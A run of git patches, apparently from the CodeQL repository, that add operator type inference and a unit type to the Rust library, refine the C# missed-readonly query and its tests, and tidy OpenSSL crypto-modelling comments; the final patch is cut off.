-59,7 +59,7 @@ final class RelationalOperation = RelationalOperationImpl; /** * The less than comparison operation, `<`. */ -final class LessThanOperation extends RelationalOperationImpl, BinaryExpr { +final class LessThanOperation extends RelationalOperationImpl { LessThanOperation() { this.getOperatorName() = "<" } override Expr getGreaterOperand() { result = this.getRhs() } @@ -70,7 +70,7 @@ final class LessThanOperation extends RelationalOperationImpl, BinaryExpr { /** * The greater than comparison operation, `>`. */ -final class GreaterThanOperation extends RelationalOperationImpl, BinaryExpr { +final class GreaterThanOperation extends RelationalOperationImpl { GreaterThanOperation() { this.getOperatorName() = ">" } override Expr getGreaterOperand() { result = this.getLhs() } @@ -81,7 +81,7 @@ final class GreaterThanOperation extends RelationalOperationImpl, BinaryExpr { /** * The less than or equal comparison operation, `<=`. */ -final class LessOrEqualOperation extends RelationalOperationImpl, BinaryExpr { +final class LessOrEqualOperation extends RelationalOperationImpl { LessOrEqualOperation() { this.getOperatorName() = "<=" } override Expr getGreaterOperand() { result = this.getRhs() } @@ -92,7 +92,7 @@ final class LessOrEqualOperation extends RelationalOperationImpl, BinaryExpr { /** * The greater than or equal comparison operation, `>=`. */ -final class GreaterOrEqualOperation extends RelationalOperationImpl, BinaryExpr { +final class GreaterOrEqualOperation extends RelationalOperationImpl { GreaterOrEqualOperation() { this.getOperatorName() = ">=" } override Expr getGreaterOperand() { result = this.getLhs() } diff --git a/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll b/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll index 1a333a9f9e7f..ab543d5a63d8 100644 --- a/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/UncontrolledAllocationSizeExtensions.qll @@ -55,11 +55,11 @@ module UncontrolledAllocationSize { node = cmp.(RelationalOperation).getGreaterOperand().getACfgNode() and branch = false or - cmp.getOperatorName() = "==" and + cmp instanceof EqualOperation and [cmp.getLhs(), cmp.getRhs()].getACfgNode() = node and branch = true or - cmp.getOperatorName() = "!=" and + cmp instanceof NotEqualOperation and [cmp.getLhs(), cmp.getRhs()].getACfgNode() = node and branch = false ) From 0dcf15bf7733ce7c37e45b0a0349f307f1168985 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Wed, 21 May 2025 12:59:00 +0200 Subject: [PATCH 268/535] Rust: Add type inference tests for operators --- .../ql/test/library-tests/type-inference/main.rs | 16 ++++++++++++++++ .../type-inference/type-inference.expected | 16 ++++++++++++---- 2 files changed, 28 insertions(+), 4 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 7ac5710b7a1a..0c938d516f09 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -1224,6 +1224,21 @@ mod builtins { } } +mod operators { + pub fn f() { + let x = true && false; // $ MISSING: type=x:bool + let y = true || false; // $ MISSING: type=y:bool + + let mut a; + if 34 == 33 { + let z = (a = 1); // $ MISSING: type=z:() MISSING: type=a:i32 + } else { + a = 2; // $ MISSING: type=a:i32 + } + a; // $ MISSING: type=a:i32 + } +} + fn main() { field_access::f(); method_impl::f(); @@ -1242,4 +1257,5 @@ fn main() { borrowed_typed::f(); try_expressions::f(); builtins::f(); + operators::f(); } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index b91a839b5ab9..473957c03447 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1581,7 +1581,15 @@ inferType | main.rs:1222:17:1222:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1223:13:1223:13 | f | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1223:17:1223:21 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1229:5:1229:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1230:5:1230:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:1230:20:1230:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:1230:41:1230:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1229:17:1229:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1229:25:1229:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1230:17:1230:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1230:25:1230:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1233:12:1233:13 | 34 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1233:18:1233:19 | 33 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1234:26:1234:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1236:17:1236:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1244:5:1244:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1245:5:1245:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1245:20:1245:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1245:41:1245:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | From fafae8950211501d337c7380716f487300c6e703 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Wed, 21 May 2025 13:00:28 +0200 Subject: [PATCH 269/535] Rust: Add unit type --- rust/ql/lib/codeql/rust/internal/Type.qll | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/rust/ql/lib/codeql/rust/internal/Type.qll b/rust/ql/lib/codeql/rust/internal/Type.qll index 9ffbf0614635..bb698236debc 100644 --- a/rust/ql/lib/codeql/rust/internal/Type.qll +++ b/rust/ql/lib/codeql/rust/internal/Type.qll @@ -9,6 +9,7 @@ private import codeql.rust.elements.internal.generated.Synth cached newtype TType = + TUnit() or TStruct(Struct s) { Stages::TypeInferenceStage::ref() } or TEnum(Enum e) or TTrait(Trait t) or @@ -48,6 +49,21 @@ abstract class Type extends TType { abstract Location getLocation(); } +/** The unit type `()`. */ +class UnitType extends Type, TUnit { + UnitType() { this = TUnit() } + + override StructField getStructField(string name) { none() } + + override TupleField getTupleField(int i) { none() } + + override TypeParameter getTypeParameter(int i) { none() } + + override string toString() { result = "()" } + + override Location getLocation() { result instanceof EmptyLocation } +} + abstract private class StructOrEnumType extends Type { abstract ItemNode asItemNode(); } From 666726c9359b8e58246757762d054d4ba507ce99 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Wed, 21 May 2025 13:02:55 +0200 Subject: [PATCH 270/535] Rust: Infer types for non-overloadable operators --- .../codeql/rust/internal/TypeInference.qll | 28 +++++++++++++++++-- .../test/library-tests/type-inference/main.rs | 10 +++---- .../type-inference/type-inference.expected | 12 ++++++++ 3 files changed, 43 insertions(+), 7 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 278d9ebc3176..c13d80c2d198 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -7,6 +7,7 @@ private import Type as T private import TypeMention private import codeql.typeinference.internal.TypeInference private import codeql.rust.frameworks.stdlib.Stdlib +private import codeql.rust.frameworks.stdlib.Bultins as Builtins class Type = T::Type; @@ -190,6 +191,21 @@ private Type inferAnnotatedType(AstNode n, TypePath path) { result = getTypeAnnotation(n).resolveTypeAt(path) } +private Type inferLogicalOperationType(AstNode n, TypePath path) { + exists(Builtins::BuiltinType t, BinaryLogicalOperation be | + n = [be, be.getLhs(), be.getRhs()] and + path.isEmpty() and + result = TStruct(t) and + t instanceof Builtins::Bool + ) +} + +private Type inferAssignmentOperationType(AstNode n, TypePath path) { + n instanceof AssignmentOperation and + path.isEmpty() and + result = TUnit() +} + /** * Holds if the type of `n1` at `path1` is the same as the type of `n2` at * `path2` and type information should propagate in both directions through the @@ -237,6 +253,12 @@ private predicate typeEquality(AstNode n1, TypePath path1, AstNode n2, TypePath break.getTarget() = n2.(LoopExpr) and path1 = path2 ) + or + exists(AssignmentExpr be | + n1 = be.getLhs() and + n2 = be.getRhs() and + path1 = path2 + ) } pragma[nomagic] @@ -932,8 +954,6 @@ private Type inferTryExprType(TryExpr te, TypePath path) { ) } -private import codeql.rust.frameworks.stdlib.Bultins as Builtins - pragma[nomagic] private StructType inferLiteralType(LiteralExpr le) { exists(Builtins::BuiltinType t | result = TStruct(t) | @@ -1156,6 +1176,10 @@ private module Cached { Stages::TypeInferenceStage::ref() and result = inferAnnotatedType(n, path) or + result = inferLogicalOperationType(n, path) + or + result = inferAssignmentOperationType(n, path) + or result = inferTypeEquality(n, path) or result = inferImplicitSelfType(n, path) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 0c938d516f09..b33010e7b83c 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -1226,16 +1226,16 @@ mod builtins { mod operators { pub fn f() { - let x = true && false; // $ MISSING: type=x:bool - let y = true || false; // $ MISSING: type=y:bool + let x = true && false; // $ type=x:bool + let y = true || false; // $ type=y:bool let mut a; if 34 == 33 { - let z = (a = 1); // $ MISSING: type=z:() MISSING: type=a:i32 + let z = (a = 1); // $ type=z:() type=a:i32 } else { - a = 2; // $ MISSING: type=a:i32 + a = 2; // $ type=a:i32 } - a; // $ MISSING: type=a:i32 + a; // $ type=a:i32 } } diff --git a/rust/ql/test/library-tests/type-inference/type-inference.expected b/rust/ql/test/library-tests/type-inference/type-inference.expected index 473957c03447..b8b52cf4b50c 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.expected +++ b/rust/ql/test/library-tests/type-inference/type-inference.expected @@ -1581,14 +1581,26 @@ inferType | main.rs:1222:17:1222:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1223:13:1223:13 | f | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1223:17:1223:21 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1229:13:1229:13 | x | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1229:17:1229:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1229:17:1229:29 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1229:25:1229:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1230:13:1230:13 | y | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1230:17:1230:20 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1230:17:1230:29 | ... \|\| ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | | main.rs:1230:25:1230:29 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1232:13:1232:17 | mut a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1233:12:1233:13 | 34 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1233:18:1233:19 | 33 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1234:17:1234:17 | z | | file://:0:0:0:0 | () | +| main.rs:1234:21:1234:27 | (...) | | file://:0:0:0:0 | () | +| main.rs:1234:22:1234:22 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1234:22:1234:26 | ... = ... | | file://:0:0:0:0 | () | | main.rs:1234:26:1234:26 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1236:13:1236:13 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1236:13:1236:17 | ... = ... | | file://:0:0:0:0 | () | | main.rs:1236:17:1236:17 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1238:9:1238:9 | a | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | | main.rs:1244:5:1244:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | | main.rs:1245:5:1245:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | | main.rs:1245:20:1245:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | From 13861b81a850a4c32f3377d148ed3f133df0e799 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Wed, 21 May 2025 14:01:48 +0200 Subject: [PATCH 271/535] Address review comments --- .../codeql/rust/internal/TypeInference.qll | 11 ++--- .../typeinference/internal/TypeInference.qll | 43 ++++++++----------- 2 files changed, 25 insertions(+), 29 deletions(-) diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index 5ce64b52d681..9bbd540f9a9d 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -240,7 +240,7 @@ private predicate typeEqualityLeft(AstNode n1, TypePath path1, AstNode n2, TypeP any(PrefixExpr pe | pe.getOperatorName() = "*" and pe.getExpr() = n1 and - path1 = TypePath::consInverse(TRefTypeParameter(), path2) + path1.isCons(TRefTypeParameter(), path2) ) } @@ -926,7 +926,7 @@ private Type inferRefExprType(Expr e, TypePath path) { e = re.getExpr() and exists(TypePath exprPath, TypePath refPath, Type exprType | result = inferType(re, exprPath) and - exprPath = TypePath::consInverse(TRefTypeParameter(), refPath) and + exprPath.isCons(TRefTypeParameter(), refPath) and exprType = inferType(e) | if exprType = TRefType() @@ -940,8 +940,9 @@ private Type inferRefExprType(Expr e, TypePath path) { pragma[nomagic] private Type inferTryExprType(TryExpr te, TypePath path) { - exists(TypeParam tp | - result = inferType(te.getExpr(), TypePath::consInverse(TTypeParamTypeParameter(tp), path)) + exists(TypeParam tp, TypePath path0 | + result = inferType(te.getExpr(), path0) and + path0.isCons(TTypeParamTypeParameter(tp), path) | tp = any(ResultEnum r).getGenericParamList().getGenericParam(0) or @@ -1017,7 +1018,7 @@ private module Cached { pragma[nomagic] Type getTypeAt(TypePath path) { exists(TypePath path0 | result = inferType(this, path0) | - path0 = TypePath::consInverse(TRefTypeParameter(), path) + path0.isCons(TRefTypeParameter(), path) or not path0.isCons(TRefTypeParameter(), _) and not (path0.isEmpty() and result = TRefType()) and diff --git a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll index fa475be575f7..4414bc74c0bd 100644 --- a/shared/typeinference/codeql/typeinference/internal/TypeInference.qll +++ b/shared/typeinference/codeql/typeinference/internal/TypeInference.qll @@ -184,7 +184,7 @@ module Make1 Input1> { /** Gets the length of this path, assuming the length is at least 2. */ bindingset[this] pragma[inline_late] - private int length2() { + private int lengthAtLeast2() { // Same as // `result = strictcount(this.indexOf(".")) + 1` // but performs better because it doesn't use an aggregate @@ -200,7 +200,7 @@ module Make1 Input1> { else if exists(TypeParameter::decode(this)) then result = 1 - else result = this.length2() + else result = this.lengthAtLeast2() } /** Gets the path obtained by appending `suffix` onto this path. */ @@ -216,7 +216,7 @@ module Make1 Input1> { ( not exists(getTypePathLimit()) or - result.length2() <= getTypePathLimit() + result.lengthAtLeast2() <= getTypePathLimit() ) ) } @@ -228,22 +228,26 @@ module Make1 Input1> { * so there is no need to check the length of `result`. */ bindingset[this, result] - TypePath appendInverse(TypePath suffix) { - if result.isEmpty() - then this.isEmpty() and suffix.isEmpty() - else - if this.isEmpty() - then suffix = result - else ( - result = this and suffix.isEmpty() - or - result = this + "." + suffix - ) + TypePath appendInverse(TypePath suffix) { suffix = result.stripPrefix(this) } + + /** Gets the path obtained by removing `prefix` from this path. */ + bindingset[this, prefix] + TypePath stripPrefix(TypePath prefix) { + if prefix.isEmpty() + then result = this + else ( + this = prefix and + result.isEmpty() + or + this = prefix + "." + result + ) } /** Holds if this path starts with `tp`, followed by `suffix`. */ bindingset[this] - predicate isCons(TypeParameter tp, TypePath suffix) { this = TypePath::consInverse(tp, suffix) } + predicate isCons(TypeParameter tp, TypePath suffix) { + suffix = this.stripPrefix(TypePath::singleton(tp)) + } } /** Provides predicates for constructing `TypePath`s. */ @@ -260,15 +264,6 @@ module Make1 Input1> { */ bindingset[suffix] TypePath cons(TypeParameter tp, TypePath suffix) { result = singleton(tp).append(suffix) } - - /** - * Gets the type path obtained by appending the singleton type path `tp` - * onto `suffix`. - */ - bindingset[result] - TypePath consInverse(TypeParameter tp, TypePath suffix) { - result = singleton(tp).appendInverse(suffix) - } } /** From be44c6ed45170ebf400de1714de335619eeaa5aa Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 21 May 2025 14:19:57 +0200 Subject: [PATCH 272/535] DevEx: add temporary files created by some checks to `.gitignore` --- .gitignore | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/.gitignore b/.gitignore index bbb60c3eccd4..fe4a5de96721 100644 --- a/.gitignore +++ b/.gitignore @@ -72,3 +72,7 @@ node_modules/ # cargo build directory /target + +# some upgrade/downgrade checks create these files +**/upgrades/*/*.dbscheme.stats +**/downgrades/*/*.dbscheme.stats From 28cd8a827a772bc9ce9eab91033852fa99bc6d78 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 19 May 2025 14:12:29 +0200 Subject: [PATCH 273/535] C#: Add more test examples for cs/missing-readonly-modifier. --- .../MissedReadonlyOpportunity.cs | 55 +++++++++++++++++++ .../MissedReadonlyOpportunity.expected | 11 ++++ 2 files changed, 66 insertions(+) diff --git a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs index bfe6b3243d4a..a365feec5e38 100644 --- a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs +++ b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.cs @@ -2,22 +2,26 @@ class MissedReadonlyOpportunity { public int Bad1; // $ Alert public T Bad2; // $ Alert + public Immutable Bad3; // $ Alert public readonly int Good1; public readonly int Good2 = 0; public const int Good3 = 0; public int Good4; public readonly T Good5; public T Good6; + public Mutable Good7; public MissedReadonlyOpportunity(int i, T t) { Bad1 = i; Bad2 = t; + Bad3 = new Immutable(); Good1 = i; Good2 = i; Good4 = i; Good5 = t; Good6 = t; + Good7 = new Mutable(); } public void M(int i) @@ -27,3 +31,54 @@ public void M(int i) x.Good6 = false; } } + +struct Mutable +{ + private int x; + public int Mutate() + { + x = x + 1; + return x; + } +} + +readonly struct Immutable { } + +class Tree +{ + private Tree? Parent; + private Tree? Left; // $ Alert + private readonly Tree? Right; + + public Tree(Tree left, Tree right) + { + this.Left = left; + this.Right = right; + left.Parent = this; + right.Parent = this; + } + + public Tree() + { + Left = null; + Right = null; + } +} + +class StaticFields +{ + static int X; // $ Alert + static int Y; + + // Static constructor + static StaticFields() + { + X = 0; + } + + // Instance constructor + public StaticFields(int y) + { + Y = y; + } +} diff --git a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.expected b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.expected index 680a571e7754..620b6b2dd111 100644 --- a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.expected +++ b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.expected @@ -1,3 +1,14 @@ +#select | MissedReadonlyOpportunity.cs:3:16:3:19 | Bad1 | Field 'Bad1' can be 'readonly'. | | MissedReadonlyOpportunity.cs:4:14:4:17 | Bad2 | Field 'Bad2' can be 'readonly'. | +| MissedReadonlyOpportunity.cs:5:22:5:25 | Bad3 | Field 'Bad3' can be 'readonly'. | +| MissedReadonlyOpportunity.cs:12:20:12:24 | Good7 | Field 'Good7' can be 'readonly'. | +| MissedReadonlyOpportunity.cs:49:19:49:24 | Parent | Field 'Parent' can be 'readonly'. | +| MissedReadonlyOpportunity.cs:50:19:50:22 | Left | Field 'Left' can be 'readonly'. | +| MissedReadonlyOpportunity.cs:70:16:70:16 | X | Field 'X' can be 'readonly'. | +| MissedReadonlyOpportunity.cs:71:16:71:16 | Y | Field 'Y' can be 'readonly'. | | MissedReadonlyOpportunityBad.cs:3:9:3:13 | Field | Field 'Field' can be 'readonly'. | +testFailures +| MissedReadonlyOpportunity.cs:12:20:12:24 | Field 'Good7' can be 'readonly'. | Unexpected result: Alert | +| MissedReadonlyOpportunity.cs:49:19:49:24 | Field 'Parent' can be 'readonly'. | Unexpected result: Alert | +| MissedReadonlyOpportunity.cs:71:16:71:16 | Field 'Y' can be 'readonly'. | Unexpected result: Alert | From 8108c72c17b945f5987fd6a730d5b1a263e8c721 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 19 May 2025 14:15:13 +0200 Subject: [PATCH 274/535] C#: Exclude structs from being flagged in cs/missed-readonly-modifier. --- csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql | 1 + 1 file changed, 1 insertion(+) diff --git a/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql b/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql index a71876e8c7da..6946e9b4894f 100644 --- a/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql +++ b/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql @@ -27,6 +27,7 @@ predicate isReadonlyCompatibleDefinition(AssignableDefinition def, Field f) { } predicate canBeReadonly(Field f) { + exists(Type t | t = f.getType() | not t instanceof Struct or t.(Struct).isReadonly()) and forex(AssignableDefinition def | defTargetsField(def, f) | isReadonlyCompatibleDefinition(def, f)) } From 19e9197874cd585ce55e4cfbdc00ffb40b6764c1 Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Mon, 19 May 2025 16:37:14 +0200 Subject: [PATCH 275/535] C#: The field access should be on this for it to be compatible with readonly. --- csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql b/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql index 6946e9b4894f..78cce5126dfc 100644 --- a/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql +++ b/csharp/ql/src/Language Abuse/MissedReadonlyOpportunity.ql @@ -20,7 +20,10 @@ predicate defTargetsField(AssignableDefinition def, Field f) { predicate isReadonlyCompatibleDefinition(AssignableDefinition def, Field f) { defTargetsField(def, f) and ( - def.getEnclosingCallable().(Constructor).getDeclaringType() = f.getDeclaringType() + def.getEnclosingCallable().(StaticConstructor).getDeclaringType() = f.getDeclaringType() + or + def.getEnclosingCallable().(InstanceConstructor).getDeclaringType() = f.getDeclaringType() and + def.getTargetAccess().(QualifiableExpr).getQualifier() instanceof ThisAccess or def instanceof AssignableDefinitions::InitializerDefinition ) From 008d5b7081b941a092e3b25320b037380154bfdb Mon Sep 17 00:00:00 2001 From: Michael Nebel Date: Wed, 21 May 2025 15:20:15 +0200 Subject: [PATCH 276/535] C#: Update test expected output. --- .../MissedReadonlyOpportunity.expected | 8 -------- 1 file changed, 8 deletions(-) diff --git a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.expected b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.expected index 620b6b2dd111..6a9b286a343c 100644 --- a/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.expected +++ b/csharp/ql/test/query-tests/Language Abuse/MissedReadonlyOpportunity/MissedReadonlyOpportunity.expected @@ -1,14 +1,6 @@ -#select | MissedReadonlyOpportunity.cs:3:16:3:19 | Bad1 | Field 'Bad1' can be 'readonly'. | | MissedReadonlyOpportunity.cs:4:14:4:17 | Bad2 | Field 'Bad2' can be 'readonly'. | | MissedReadonlyOpportunity.cs:5:22:5:25 | Bad3 | Field 'Bad3' can be 'readonly'. | -| MissedReadonlyOpportunity.cs:12:20:12:24 | Good7 | Field 'Good7' can be 'readonly'. | -| MissedReadonlyOpportunity.cs:49:19:49:24 | Parent | Field 'Parent' can be 'readonly'. | | MissedReadonlyOpportunity.cs:50:19:50:22 | Left | Field 'Left' can be 'readonly'. | | MissedReadonlyOpportunity.cs:70:16:70:16 | X | Field 'X' can be 'readonly'. | -| MissedReadonlyOpportunity.cs:71:16:71:16 | Y | Field 'Y' can be 'readonly'. | | MissedReadonlyOpportunityBad.cs:3:9:3:13 | Field | Field 'Field' can be 'readonly'. | -testFailures -| MissedReadonlyOpportunity.cs:12:20:12:24 | Field 'Good7' can be 'readonly'. | Unexpected result: Alert | -| MissedReadonlyOpportunity.cs:49:19:49:24 | Field 'Parent' can be 'readonly'. | Unexpected result: Alert | -| MissedReadonlyOpportunity.cs:71:16:71:16 | Field 'Y' can be 'readonly'. | Unexpected result: Alert | From 48e484b438c592a2eb0f2c2cafd5c2a60f390f82 Mon Sep 17 00:00:00 2001 From: Nicolas Will Date: Wed, 21 May 2025 16:26:11 +0200 Subject: [PATCH 277/535] Apply suggestions from code review Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- .../AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll index 879af7cbe6cd..8da40884a3af 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/PKeyAlgorithmValueConsumer.qll @@ -36,7 +36,7 @@ class EVPPKeyAlgorithmConsumer extends PKeyValueConsumer { // when the operation is again modeled as a key gen operation. this.(Call).getTarget().getName() = "EVP_PKEY_Q_keygen" and ( - // Ellipitic curve case + // Elliptic curve case // If the argInd 3 is a derived type (pointer or array) then assume it is a curve name if this.(Call).getArgument(3).getType().getUnderlyingType() instanceof DerivedType then valueArgNode.asExpr() = this.(Call).getArgument(3) From 9f65cb8c4c9bf48ec47bd8be5cd8c0534bd42cf8 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Wed, 21 May 2025 11:51:25 -0400 Subject: [PATCH 278/535] Comment/doc cleanup --- .../AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll | 1 - .../AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll index f710ff613c2a..affb7ae6095e 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/DirectAlgorithmValueConsumer.qll @@ -3,7 +3,6 @@ private import experimental.quantum.Language private import experimental.quantum.OpenSSL.AlgorithmInstances.KnownAlgorithmConstants private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase -// TODO: can self referential to itself, which is also an algorithm (Known algorithm) /** * Cases like EVP_MD5(), * there is no input, rather it directly gets an algorithm diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll index 066f0fa1a3ae..52d7949561e8 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll @@ -32,7 +32,7 @@ class EVP_Q_Digest_Algorithm_Consumer extends OpenSSLAlgorithmValueConsumer { } /** - * EVP digest algorithm getters + * The EVP digest algorithm getters * https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis */ class EVPDigestAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { From bbee2c9bdf7dd37b980822ae79c4f72b5d7b50b2 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Wed, 21 May 2025 15:06:00 -0400 Subject: [PATCH 279/535] Crypto: Misc. refactoring and code clean up. --- cpp/ql/lib/experimental/quantum/Language.qll | 5 +- .../AlgorithmInstances/AlgToAVCFlow.qll | 8 ++- .../BlockAlgorithmInstance.qll | 2 +- .../CipherAlgorithmInstance.qll | 2 +- .../KnownAlgorithmConstants.qll | 12 ++-- .../PaddingAlgorithmInstance.qll | 64 ++++++++++--------- .../CipherAlgorithmValueConsumer.qll | 2 - .../EllipticCurveAlgorithmValueConsumer.qll | 2 - .../OpenSSLAlgorithmValueConsumerBase.qll | 1 - .../PKeyAlgorithmValueConsumer.qll | 2 - 